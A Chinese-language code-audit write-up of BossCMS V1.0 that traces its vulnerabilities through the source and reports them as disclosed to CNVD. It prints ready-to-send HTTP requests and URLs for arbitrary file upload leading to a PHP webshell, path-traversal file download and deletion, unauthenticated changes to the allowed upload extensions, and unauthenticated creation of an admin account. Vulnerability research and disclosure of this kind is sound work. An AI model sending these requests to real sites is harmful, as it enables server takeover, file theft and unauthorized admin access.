BossCMSV1.0代码审计

前言

文章先发于先知社区BossCMSV1.0代码审计

以下漏洞均已提交CNVD并被收录

后台任意文件上传

在后台安全设置处添加允许上传类型.php

然后通过ueditor的附件上传即可上传php木马文件getshell

确定位置

先随意找到上传点,然后抓包上传

修改后缀名发送后得到报错信息

{"state":"该文件扩展名不允许上传!"}

审计源码

通过报错信息定位到源码在/system/basic/class/upload.class.php下

else为结果,那么在if处打上断点

上传php文件开始调试

发现两个条件都不满足

  1. php后缀名不在$extension中
  2. ! t y p e ! = t r u e 也 就 是 type!=true也就是 type!=true也就是type不为null
第一个条件

首先解决第一个问题,在文件29行处可以看到$extension变量值的获取

那么全局搜索upload_extension,发现他在/system/admin/theme/default/safe.php中获取

根据路由规则访问

http://bosscms/admin/#safe

存在允许上传类型,那么直接添加.php然后保存,回到源码继续上传.php调试

可以看出这时候$extension数组中多了一个值即.php,成功满足第一个要求

第二个条件

要让! t y p e ! = t r u e , 也 就 是 让 type!=true,也就是让 type!=true,也就是让type=null即可,也就是执行到函数的35行

这里需要满足$ext(.php) 在 a r r 数 组 中 , 那 么 继 续 看 arr 数组中,那么继续看 arr数组中,那么继续看arr数组是从

$G['extension'][$t]中获取的

这里的$t值是photo,获取到的arr为

".jpg", ".gif", ".png", ".jpeg", ".tif", ".bmp", ".ico", ".webp"

全局搜索得到system/basic/json/extension.json

在code键值中看到了我们想要上传的.php

所以的我们的$t应该为code,再回到upload.class.php

t 是 遍 历 t是遍历 t是遍历arrary获得的,而 a r r a y 是 分 割 array是分割 array是分割type获得的,可以看到files函数调用时$type默认值是null,那么就是调用时指定code值

跟踪函数,定位到/system/extend/ueditor/php/ueditor.class.php中第246行,调用files函数并且指定了code值

成功解决了第二个条件

测试上传

很明显漏洞存在于ueditor编辑器的附件上传处

选择PHP木马文件

上传成功

点击确认后右键打开新链接获得路径

成功getshell

后台任意文件下载

后台构造url可以进行任意文件下载

 http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php

确定位置

定位到/system/admin/safe/backup.class.php

可以看到没有任何过滤,直接通过传值然后下载文件,get传参id值为文件名且可以穿越

审计源码

全局搜索call_user_func,最后在/system/basic/class/into.class.php的load_class函数中找到可以利用的方法load_class

然后就是找调用链

在/admin/index.php开始

再到/system/enter.php

/system/basic/class/into.class.php

在执行load_class函数,存在func值成功调用download方法

m o l d 和 mold和 mold和part用来拼接文件然后包含一次,然后new 一个 p a r t 对 象 然 后 检 查 是 对 象 中 是 否 存 在 part对象然后检查是对象中是否存在 part对象然后检查是对象中是否存在func函数,存在即调用

所以可以构造url

 http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php

在load_class方法打上断点然后访问

成功调用download,参数获取正确

下载文件成功

且此CMS的数据库信息写在固定文件/system/basic/ini/mysql.ini.php

可以配合进行敏感信息泄露

后台任意文件删除

确定位置

定位到/system/admin/safe/backup.class.php

还是没有任何过滤,get传参id值为文件名然后调用delete进行删除

使用之前的利用链,先在站点根目录新建test.txt

然后根据规则(post:url,get:id)构造请求包

/system/admin/safe/backup.class.php文件中的delete方法

POST /admin/?mold=safe&part=backup&func=delete&id=../../../test.txt HTTP/1.1
Host: bosscms
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYe2EcUgaamtd4Xnh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=safe&part=backup&func=table
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close------WebKitFormBoundaryYe2EcUgaamtd4Xnh
Content-Disposition: form-data; name="url"1
------WebKitFormBoundaryYe2EcUgaamtd4Xnh--

成功删除文件

未授权

未授权任意文件下载和删除

对用户是否登录的验证在system/basic/class/admin.class.php文件init函数中

当判断未登录时通过header进行页面跳转,但是没有exit()或者die()终止程序运行

所以还是能够得到自己的结果后才跳转(这一点可以在BP中体现)

在未登录状态下

先执行删除,成功执行得到结果

然后才会重定向到登录页面

任意文件下载也是同理,在BP中即可看到跳转前结果

未授权任意文件上传

通过未授权将之前后台任意文件上传攻击面扩大

文件上传未授权
POST /system/extend/ueditor/php/controller.php?action=uploadfile HTTP/1.1
Host: bosscms
Content-Length: 200
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvwjLJGiYAdfklq31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close------WebKitFormBoundaryvwjLJGiYAdfklq31
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: image/png<?php phpinfo();?>
------WebKitFormBoundaryvwjLJGiYAdfklq31--

修改上传配置点未授权

找到可利用的函数/system/admin/safe/safe.class.php文件中的add函数,参数可控

还是之间的链,根据代码构造请求,在post请求中upload_extension数组里添加.php键值

POST /admin/?mold=safe&part=safe&func=add HTTP/1.1
Host: bosscms
Content-Length: 987
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLNKwhkxPkcJiHO5I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=safe&part=safe&func=init&lang=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_folder"admin
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_login_captcha"1
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_logout_time"28888
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="page_cache_time"0
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_rename"1
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_maxsize"2
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_extension"[".jpg",".png",".jpeg",".gif",".mp4",".mp3",".pdf",".doc",".xls",".xlsx",".bmp",".csv",".ico",".JPG",".php"]
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="ueditor_catchimage"0
------WebKitFormBoundaryLNKwhkxPkcJiHO5I--

成功未授权修改配置

修改配置之后可以未授权任意文件上传了

成功访问执行

未授权用户操作

用户操作相对于来说也算敏感操作,就顺带写了

确定位置

定位到/system/admin/manager/manager.class.php

其中的add,edit,delete三个函数参数都是由请求获得的(可控的)

根据规则构造请求包,以下为关键点

mold=manager&part=manager&func=add
/system/admin/manager/manager.class.php中的add函数POST传参
username-用户名
password-密码
password-确认密码
level-权限 (2为系统管理员)

请求包

POST /admin/?mold=manager&part=manager&func=add HTTP/1.1
Host: bosscms
Content-Length: 1959
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB067fgIWBKtHI4Gy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=manager&part=manager&func=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="username"123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="password"123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="passwords"123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="level"2
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="department"------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="open"1
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit1"------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit2"["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","seo&seo","seo&violation","seo&rewrite","anchor&anchor","link&link","plugin&plugin","plugin&market","template&template","template&market","store&store","manager&manager","safe&safe","safe&backup","site&site","site&email","site&sms","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit3"["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","plugin&plugin","safe&backup","site&site","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit4"------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="image"------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="alias"------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="email"------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="phone"------WebKitFormBoundaryB067fgIWBKtHI4Gy--

成功添加管理员用户

成功登录,且为管理员权限

后记

都是一些简单常见的漏洞点,主要还是一个跳转之后未及时结束程序导致访问控制体系崩塌,后台变前台

BossCMSV1.0代码审计相关推荐

  1. 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞

    前言 最近几天在给协会的学弟讲代码审计入门相关内容,便找了这个熊海CMS_V1.0来教学,结果在这个过程中遇到蛮多问题的,于是这篇文章详细记录了对熊海CMS_V1.0从搭建到审计与漏洞分析的过程,其中 ...

  2. 熊海博客php版本,熊海CMS xhcms v1.0代码审计

    有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0 本地环境安装好了之后,可以看到提示安装了锁文件 说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了, ...

  3. 熊海cms1.0代码审计

    目录 一.环境搭建 二.代码审计 (1)后台存在登录绕过漏洞 (2)登录后台user处存在SQL注入 (3)前(后)台文件包含漏洞 (4)后台SQL注入 1.admin/files/editcolum ...

  4. 某CMSV1.0代码审计

    前言 以下漏洞均已提交CNVD并被收录 后台任意文件上传 在后台安全设置处添加允许上传类型.php 然后通过ueditor的附件上传即可上传php木马文件getshell 确定位置 先随意找到上传点, ...

  5. 熊海CMS 1.0代码审计漏洞集合

    目录 SQL注入 注入1 注入2 注入3 cookie注入 注入5 XSS 反射型xss1 存储型xss2 反射型xss3 反射型xss4 存储型xss5 文件包含 越权登录 熊海CMS是由熊海开发的 ...

  6. 代码审计系列:熊海CMS V1.0 (iseaCMS_1.0)

    目录 前言 一.环境 1.用到的工具 2.搭建环境 二.审计 1.文件包含 (1)index.php (2)admin/index.php 2.SQL注入 (1)admin/files/adset.p ...

  7. 估算带卷积核二分类0,3的网络的收敛时间和迭代次数

    制作一个网络分类minst的0和3求出这网络的迭代次数曲线表达式n(δ),和准确率表达式p-max(δ),用预期准确率去估算n,并推算需要的时间. 将minst的28*28的图片缩小到9*9,网络用一 ...

  8. 「干货」橙留香博客导读:专栏系统分类和博客归纳总结

    也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大 少走了弯路,也就错过了风景,无论如何,感谢经历 0x01 前言 为了更好地帮助博友同学学习作者同学的博客,方 ...

  9. 神经网络收敛标准与准确率之间的数学关系

    制作一个带一个3*3卷积核的神经网络,测试集是minst的0和2图片集,将28*28的图片缩小成9*9,隐藏层30个节点所以网络的结构是 S(minst0)-(con3*3)49-30-2-(1,0) ...

最新文章

  1. dns被自动修改_部分 DNS 查询延迟的原因与解决方案
  2. SVN 服务器发送了意外的返回值(405 Method Not Allowed),在响应 “MKCOL” 的请求
  3. 我眼中的Linux设备树(二 节点)
  4. 个人思考与研究:道德经(二)
  5. 《C语言编程魔法书:基于C11标准》——第一篇 预备知识篇 第1章 C魔法概览1.1 例说编程语言...
  6. mysql权限清理_mysql清理用户权限
  7. P4556,jzoj3397-[GDOI2014模拟]雨天的尾巴【树链剖分,线段树】
  8. LeetCode 198. 打家劫舍(DP)
  9. 信息学奥赛一本通(2070:【例2.13】数字对调)
  10. Python: 更改Jupyter Notebook默认工作路径?
  11. 华为鸿蒙mate,华为MatePad Pro发布亮相!华为首款鸿蒙平板全新体验!
  12. 另一种阶乘 函数法!
  13. #怎样获取当前时间和时区_JDK1.8新增日期时间类型
  14. 高斯烟羽模型matlab程序,高斯烟羽模型的改进及在危化品泄漏事故模拟中的应用...
  15. 设计窗freqz函数matlab,freqz函数
  16. 3dmax卸载工具_终极解决方案之 Autodesk系列软件3dmax、maya、cad 安装失败清理删除错误注册表重装...
  17. 小程序 长按转发_微信小程序实现限制用户转发功能的实例代码
  18. 利用Cydia Substrate Hook移动MM支付
  19. 北汽极狐ARCFOX与华为合作
  20. 迷你四足机器人制作_从0到1

热门文章

  1. 红日代码审计(day15-day24)
  2. Windows 7 为什么叫做“7”
  3. 商城-实现商品分类查询
  4. MKV怎么转AVI格式?转换的简单方法介绍
  5. 网龙最新互动白板AP-V7获德国红点设计大奖
  6. 怎样修改日立uax规格表_UAX型电梯调试手册.pdf
  7. python 数据保存为npy和npz格式并读取
  8. 工业互联网:8 行业应用(1)
  9. Word控件Spire.Doc 【页面背景】教程(4) ;如何在word文档的一侧创建垂直表格
  10. 【阅读笔记】程序员的自我修养